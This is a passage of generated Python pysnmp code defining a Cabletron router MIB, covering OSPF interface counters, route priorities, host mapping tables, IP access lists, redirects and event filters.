nwIpOspfIfOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfOperStatus.setStatus('mandatory')
nwIpOspfIfOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfOperationalTime.setStatus('mandatory')
nwIpOspfIfVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 5), Integer32().clone(1)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfVersion.setStatus('mandatory')
nwIpOspfIfSnooping = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfSnooping.setStatus('mandatory')
nwIpOspfIfType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("bma", 2), ("nbma", 3))).clone('bma')).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfType.setStatus('mandatory')
nwIpOspfIfAclIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 8), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfAclIdentifier.setStatus('mandatory')
nwIpOspfIfAclStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfAclStatus.setStatus('mandatory')
nwIpOspfIfCtrTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1), )
if mibBuilder.loadTexts: nwIpOspfIfCtrTable.setStatus('mandatory')
nwIpOspfIfCtrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpOspfIfCtrIfIndex"))
if mibBuilder.loadTexts: nwIpOspfIfCtrEntry.setStatus('mandatory')
nwIpOspfIfCtrIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrIfIndex.setStatus('mandatory')
nwIpOspfIfCtrAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfCtrAdminStatus.setStatus('mandatory')
nwIpOspfIfCtrReset = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("other", 1), ("reset", 2))).clone('other')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfIfCtrReset.setStatus('mandatory')
nwIpOspfIfCtrOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrOperationalTime.setStatus('mandatory')
nwIpOspfIfCtrInPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrInPkts.setStatus('mandatory')
nwIpOspfIfCtrOutPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrOutPkts.setStatus('mandatory')
nwIpOspfIfCtrFilteredPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrFilteredPkts.setStatus('mandatory')
nwIpOspfIfCtrDiscardPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrDiscardPkts.setStatus('mandatory')
nwIpOspfIfCtrInBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrInBytes.setStatus('mandatory')
nwIpOspfIfCtrOutBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrOutBytes.setStatus('mandatory')
nwIpOspfIfCtrFilteredBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrFilteredBytes.setStatus('mandatory')
nwIpOspfIfCtrDiscardBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfIfCtrDiscardBytes.setStatus('mandatory')
nwIpRipRoutePriority = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 1), Integer32().clone(16)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRipRoutePriority.setStatus('mandatory')
nwIpOSPFRoutePriority = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 2), Integer32().clone(32)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOSPFRoutePriority.setStatus('mandatory')
nwIpStaticRoutePriority = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 3), Integer32().clone(48)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpStaticRoutePriority.setStatus('mandatory')
nwIpOspfForward = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfForward.setStatus('mandatory')
nwIpOspfLeakAllStaticRoutes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(2, 1))).clone(namedValues=NamedValues(("disabled", 2), ("enabled", 1)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfLeakAllStaticRoutes.setStatus('mandatory')
nwIpOspfLeakAllRipRoutes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 3), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfLeakAllRipRoutes.setStatus('mandatory')
nwIpOspfLeakAllBgp4Routes = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 4), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfLeakAllBgp4Routes.setStatus('mandatory')
nwIpOspfStaticTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1), )
if mibBuilder.loadTexts: nwIpOspfStaticTable.setStatus('mandatory')
nwIpOspfStaticEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpOspfStaticDest"), (0, "CTRON-IP-ROUTER-MIB", "nwIpOspfStaticForwardMask"), (0, "CTRON-IP-ROUTER-MIB", "nwIpOspfStaticNextHop"))
if mibBuilder.loadTexts: nwIpOspfStaticEntry.setStatus('mandatory')
nwIpOspfStaticDest = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfStaticDest.setStatus('mandatory')
nwIpOspfStaticForwardMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfStaticForwardMask.setStatus('mandatory')
nwIpOspfStaticNextHop = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpOspfStaticNextHop.setStatus('mandatory')
nwIpOspfStaticMetric = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 4), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfStaticMetric.setStatus('mandatory')
nwIpOspfStaticMetricType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 5), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfStaticMetricType.setStatus('mandatory')
nwIpOspfStaticStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("inactive", 1), ("active", 2), ("delete", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpOspfStaticStatus.setStatus('mandatory')
nwIpOspfDynamicTable = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 2))
nwIpOspfRipTable = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 3))
nwIpOspfBgp4Table = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 4))
nwIpHostsTimeToLive = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostsTimeToLive.setStatus('mandatory')
nwIpHostsRetryCount = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostsRetryCount.setStatus('mandatory')
nwIpHostCtlTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1), )
if mibBuilder.loadTexts: nwIpHostCtlTable.setStatus('mandatory')
nwIpHostCtlEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpHostCtlIfIndex"))
if mibBuilder.loadTexts: nwIpHostCtlEntry.setStatus('mandatory')
nwIpHostCtlIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlIfIndex.setStatus('mandatory')
nwIpHostCtlAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disable", 2), ("enable", 3))).clone('enable')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostCtlAdminStatus.setStatus('mandatory')
nwIpHostCtlOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3), ("pending-disable", 4), ("pending-enable", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlOperStatus.setStatus('mandatory')
nwIpHostCtlOperationalTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 4), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlOperationalTime.setStatus('mandatory')
nwIpHostCtlProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disable", 2), ("enable", 3))).clone('enable')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostCtlProtocol.setStatus('mandatory')
nwIpHostCtlSnooping = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disable", 2), ("enable", 3))).clone('disable')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostCtlSnooping.setStatus('mandatory')
nwIpHostCtlProxy = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disable", 2), ("enable", 3))).clone('disable')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostCtlProxy.setStatus('mandatory')
nwIpHostCtlCacheMax = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 8), Integer32().clone(1024)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostCtlCacheMax.setStatus('mandatory')
nwIpHostCtlCacheSize = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlCacheSize.setStatus('mandatory')
nwIpHostCtlNumStatics = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlNumStatics.setStatus('mandatory')
nwIpHostCtlNumDynamics = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlNumDynamics.setStatus('mandatory')
nwIpHostCtlCacheHits = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlCacheHits.setStatus('mandatory')
nwIpHostCtlCacheMisses = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostCtlCacheMisses.setStatus('mandatory')
nwIpHostMapTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1), )
if mibBuilder.loadTexts: nwIpHostMapTable.setStatus('mandatory')
nwIpHostMapEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpHostMapIfIndex"), (0, "CTRON-IP-ROUTER-MIB", "nwIpHostMapIpAddr"))
if mibBuilder.loadTexts: nwIpHostMapEntry.setStatus('mandatory')
nwIpHostMapIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostMapIfIndex.setStatus('mandatory')
nwIpHostMapIpAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostMapIpAddr.setStatus('mandatory')
nwIpHostMapPhysAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 3), PhysAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostMapPhysAddr.setStatus('mandatory')
nwIpHostMapType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("dynamic", 3), ("static", 4), ("inactive", 5)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostMapType.setStatus('mandatory')
nwIpHostMapCircuitID = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 5), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostMapCircuitID.setStatus('mandatory')
nwIpHostMapFraming = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 5, 7, 8, 9, 11, 14, 16, 17))).clone(namedValues=NamedValues(("other", 1), ("ethernet", 2), ("snap", 3), ("slip", 5), ("localtalk", 7), ("nativewan", 8), ("encapenet", 9), ("encapenetsnap", 11), ("encaptrsnap", 14), ("encapfddisnap", 16), ("canonical", 17)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpHostMapFraming.setStatus('mandatory')
nwIpHostMapPortNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpHostMapPortNumber.setStatus('mandatory')
nwIpAclValidEntries = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 1), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpAclValidEntries.setStatus('mandatory')
nwIpAclTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2), )
if mibBuilder.loadTexts: nwIpAclTable.setStatus('mandatory')
nwIpAclEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpAclIdentifier"), (0, "CTRON-IP-ROUTER-MIB", "nwIpAclSequence"))
if mibBuilder.loadTexts: nwIpAclEntry.setStatus('mandatory')
nwIpAclIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpAclIdentifier.setStatus('mandatory')
nwIpAclSequence = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpAclSequence.setStatus('mandatory')
nwIpAclPermission = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("permit", 3), ("deny", 4), ("permit-bidirectional", 5), ("deny-bidirectional", 6))).clone('permit')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclPermission.setStatus('mandatory')
nwIpAclMatches = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpAclMatches.setStatus('mandatory')
nwIpAclDestAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 5), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclDestAddress.setStatus('mandatory')
nwIpAclDestMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 6), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclDestMask.setStatus('mandatory')
nwIpAclSrcAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 7), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclSrcAddress.setStatus('mandatory')
nwIpAclSrcMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 8), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclSrcMask.setStatus('mandatory')
nwIpAclProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("all", 2), ("icmp", 3), ("udp", 4), ("tcp", 5))).clone('all')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclProtocol.setStatus('mandatory')
nwIpAclPortNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 10), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpAclPortNumber.setStatus('mandatory')
nwIpRedirectTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1), )
if mibBuilder.loadTexts: nwIpRedirectTable.setStatus('mandatory')
nwIpRedirectEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpRedirectPort"))
if mibBuilder.loadTexts: nwIpRedirectEntry.setStatus('mandatory')
nwIpRedirectPort = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRedirectPort.setStatus('mandatory')
nwIpRedirectAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 2), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRedirectAddress.setStatus('mandatory')
nwIpRedirectType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("forward", 1), ("delete", 2))).clone('forward')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpRedirectType.setStatus('mandatory')
nwIpRedirectCount = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpRedirectCount.setStatus('mandatory')
nwIpEventAdminStatus = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventAdminStatus.setStatus('mandatory')
nwIpEventMaxEntries = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 2), Integer32().clone(100)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventMaxEntries.setStatus('mandatory')
nwIpEventTraceAll = MibScalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventTraceAll.setStatus('mandatory')
nwIpEventFilterTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1), )
if mibBuilder.loadTexts: nwIpEventFilterTable.setStatus('mandatory')
nwIpEventFilterEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpEventFltrProtocol"), (0, "CTRON-IP-ROUTER-MIB", "nwIpEventFltrIfNum"))
if mibBuilder.loadTexts: nwIpEventFilterEntry.setStatus('mandatory')
nwIpEventFltrProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventFltrProtocol.setStatus('mandatory')
nwIpEventFltrIfNum = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventFltrIfNum.setStatus('mandatory')
nwIpEventFltrControl = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("delete", 2), ("add", 3))).clone('add')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventFltrControl.setStatus('mandatory')
nwIpEventFltrType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 4, 8, 16, 32, 64))).clone(namedValues=NamedValues(("misc", 1), ("timer", 2), ("rcv", 4), ("xmit", 8), ("event", 16), ("diags", 32), ("error", 64))).clone('error')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventFltrType.setStatus('mandatory')
